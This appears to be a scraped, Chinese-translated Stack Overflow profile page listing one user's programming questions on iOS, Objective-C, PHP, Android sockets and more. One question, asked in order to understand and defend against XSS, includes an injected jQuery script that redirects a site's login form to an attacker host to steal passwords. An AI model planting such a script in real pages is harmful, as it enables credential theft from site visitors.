小编Ale*_*lan的帖子

iPhone:在viewWillAppear之前的viewDidLoad之后调用什么?

这里真的很奇怪.我有一个带有滚动视图的视图,其中包含我的界面.

在我的中viewDidLoad,我将scrollView的框架设置为0,0的原点.

我在原点记录原点viewDidLoad,它是0.然而,在我的开头viewWillAppear,原点是-20.有谁知道可以调用哪种方法可以做到这一点?

提前致谢

iphone objective-c uiscrollview uiview ios

12
推荐指数
2
解决办法
1万
查看次数

Objective-C:从类引用创建实例

您可以使用以下代码创建类引用:

Class M = [NSMutableString class]; // NSMutableString (for example).
Run Code Online (Sandbox Code Playgroud)

然后,您可以使用以下代码调用该已保存类的方法:

[M string];
Run Code Online (Sandbox Code Playgroud)

但是你可以从该类名创建实例(我知道以下不起作用)?

M *newInstance;
Run Code Online (Sandbox Code Playgroud)

theory oop class objective-c instances

12
推荐指数
1
解决办法
7127
查看次数

用户输入的HTML是否使用Javascript显示给其他人但不是HTML转义的XSS示例

我是一名PHP开发人员,我正在寻求提高我网站的安全性.

据我所知,以下是影响Web应用程序的两种主要类型的漏洞:

  • SQL注入
  • XSS

可以使用预准备语句修复SQL注入 - 简单.

但我仍然没有真正得到XSS - 以下是XSS的一个例子吗?...

  • 完整的用户制作内容页面顶部有一个登录表单(站点范围内).
  • 用户对页面的输入不是HTML转义的.
  • 用户将以下内容(例如评论)发布到页面...
A really nice comment

<!-- now an evil script (example here with jquery, but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
    $('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
});
</script>
Run Code Online (Sandbox Code Playgroud)
  • 一个无辜的用户来到页面,脚本执行.
  • 无辜的用户意识到他们没有登录,并在表单中输入他们的详细信息.
  • 发送用户的详细信息http://somehackysite.com/givemyourpw.php,然后用户的帐户详细信息被盗.

所以我在这里有三个问题:

  1. 这会有用吗?
  2. 这是XSS吗?
  3. 除了转义HTML之外,开发人员应该采取哪些预防措施来对抗XSS?

html javascript php xss

12
推荐指数
2
解决办法
1109
查看次数

调整图像大小和保持宽高比以适合iPhone的算法

我正在为iPhone应用程序创建一个Web服务来进行交互.

当我的客户端上传服务器端的图像时,我希望我的php脚本调整图像大小,同时保持纵横比,以便它适合iPhone屏幕.(即最长边<= 960,最短<= 640

我在JS中创建了一个模型,只是因为我发现它更容易快速完成.

我很确定,虽然我可能错了,但这不是最有效的方法.有人可以用更好的逻辑(尤其是开头的那个)或更接近这个的数学方法来纠正我吗?

var w = 960, h = 960, new_w, new_h;
if (w >= h && w > 960 || h >= w && h > 960 || w >= h && h > 640 || h >= w && w > 640) {
    if (w > h) {
        if (w>960) {
            new_w = 960;
            new_h = h*(new_w/w);
        }
        if (h>640) {
            new_h = 640;
            new_w = w*(new_h/h);
        }
    }
    else {
        if (h>960) …
Run Code Online (Sandbox Code Playgroud)

php algorithm resize image aspect-ratio

11
推荐指数
3
解决办法
2万
查看次数

我无法使用mamp访问phpmyadmin

我的Mac Book Pro OS 10.6.8上安装了MAMP.我的MAMP上的开放页面现在变灰了.Apache服务器按钮为绿色.MySQL服务器按钮为红色.

有一段时间我可以访问phpmyadmin.我有我的php文件在MAMP的htdocs文件夹中,我可以在localhost:8888/filename.php中访问.我想创建另一个数据库和表,但我无法访问phpmyadmin.我甚至将phpmyadmin下载到我的桌​​面,但我不知道如何打开它.有什么建议

php mamp phpmyadmin osx-snow-leopard

11
推荐指数
2
解决办法
4万
查看次数

如何测试一个数的平方根是否合理?

你如何测试一个数字的平方根是否合理?

这甚至可能吗?

我需要这个,因为我需要弄清楚是否在我正在开发的数学应用程序中显示一个数字作为一个数字.

math objective-c

10
推荐指数
2
解决办法
2765
查看次数

是否可以在C中编写自毁程序?

是否可以在C中编写一个程序,在执行时删除自身(二进制文件)然后成功终止.如果是这样,最简单的方法是什么?

c self-destruction

10
推荐指数
2
解决办法
5670
查看次数

如何从线程中的套接字获取数据?

Android noob在这里.通过查看功能示例的源代码,我学到了最好的东西,但是我无法找到在自己的线程中使用套接字的简单但完整的示例.

我有一个需要与互联网通信的Android服务.我想打开连接到Internet上的服务器的TCP套接字.该服务需要将数据发送到Internet,并且从网络返回的数据将需要转到该服务.由于服务也在做其他事情,因此套接字连接需要存在于自己的线程中.

知道我在哪里可以找到一个与套接字通信的线程中的套接字示例?

谢谢

在此输入图像描述

sockets multithreading android

9
推荐指数
2
解决办法
3万
查看次数

如何使用Xcode 4.2测试设备上的发布版本?

我刚刚为我的应用程序编写了更新,现在我想将它提交到应用程序商店.

我已经在多个设备上以调试模式对其进行了彻底的测试,但我想用发布版本对其进行测试,以确保没有任何问题.

在Xcode 4.0.2中,当我想测试发布版本(即不发布)时,我会执行以下操作

  1. 在项目设置中,确保将发布代码签名设置为"iPhone Developer"而不是"iPhone Distribution"
  2. 转到Edit scheme...,并将Run方案更改为Release而不是Debug.
  3. 确保我的分发配置文件安装在Xcode中
  4. 在设备上运行它,确保一切正常.

如果一切正常,我会分发以下内容:

  1. 将代码签名更改为"iPhone Distribution"
  2. 确保存档方案设置为" 发布"
  3. 档案
  4. 提交

现在的问题是,使用Xcode 4.2,我无法在我的设备上测试发布版本. - 当我通过发布到我的iPod来构建它时,我收到警报:

找不到此可执行文件的有效配置文件.

因此,我在"设备"窗格的主"库"部分(所有配置文件)下检查了我的配置文件,然后在那里找到了我的分发配置文件.

问题是,配置文件显示"此配置文件无法安装在deivces上".

因此,如果我不能将分发配置文件与设备一起使用 - 我应该如何测试发布版本?

我很感激有任何关于这个问题的建议 - 对不起,如果有一些明显的东西我就错过了!

iphone provisioning ios xcode4.2

9
推荐指数
1
解决办法
7967
查看次数

如何在没有任何缓存的情况下为一个实例使用SDWebImage

我几乎在表视图中显示图像时都使用SDWebImage图像下载/缓存库.

我通常会这样实现它(在表视图cellForRowAtIndexPath方法中).

[cell.imageView setImageWithURL:
[NSURL URLWithString:@"http://asite.com/animage.jpg"] 
placeholderImage:[UIImage imageNamed:@"placeholder.png"]];        
Run Code Online (Sandbox Code Playgroud)

这将加载缓存版本,如果它有一个.

如果我想使用SDWebImage的简单性(使用占位符/强大的下载代码),但只在一个地方没有缓存,那该怎么办?

我知道如何在整个SDWebImage中禁用缓存,但我不知道如何调用setImageWithUrl: placeholderImage:以确保SDWebImage不使用任何缓存?

我想这样做的原因是我用它来在桌面视图中显示网络摄像头(显然,你希望每次更新).

iphone caching tableview ios sdwebimage

8
推荐指数
2
解决办法
1万
查看次数